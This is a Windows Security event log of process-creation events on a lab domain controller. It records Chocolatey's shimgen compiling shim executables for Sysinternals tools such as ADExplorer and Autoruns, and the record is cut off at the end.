	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ADInsight.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_4899\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_4899\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_4899\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_4899\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_4899\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246327
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe78
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246326
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe78
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ADInsight.exe" --output="C:\ProgramData\chocolatey\bin\ADInsight.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ADInsight.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246325
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x46c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe20
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAE1D.tmp" "c:\ProgramData\chocolatey\bin\CSCC2444FFED2404D9CB6F4E19544BE1D4D.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246324
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3e0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe20
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246323
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf40
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ADExplorer64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_2399\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_2399\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_2399\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_2399\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_2399\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246322
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc2c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf40
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246321
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf40
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ADExplorer64.exe" --output="C:\ProgramData\chocolatey\bin\ADExplorer64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ADExplorer64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246320
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa68
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x384
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAD33.tmp" "c:\ProgramData\chocolatey\bin\CSC73DAC4D8E45344358AD467EFEC6C3AA.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246319
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x86c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x384
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246318
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x384
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x290
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ADExplorer.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_0055\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_0055\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_0055\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_0055\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_0055\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246362
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x82c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246361
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf4c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Autoruns64.exe" --output="C:\ProgramData\chocolatey\bin\Autoruns64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Autoruns64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246360
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb50
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB447.tmp" "c:\ProgramData\chocolatey\bin\CSC6CF321367DC143F2B828E1399457ED3A.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246359
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc24
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb50
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246358
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb50
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdf0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Autoruns.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_8336\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123403_8336\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_8336\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_8336\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123403_8336\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246357
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdf0
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246356
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdf0
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
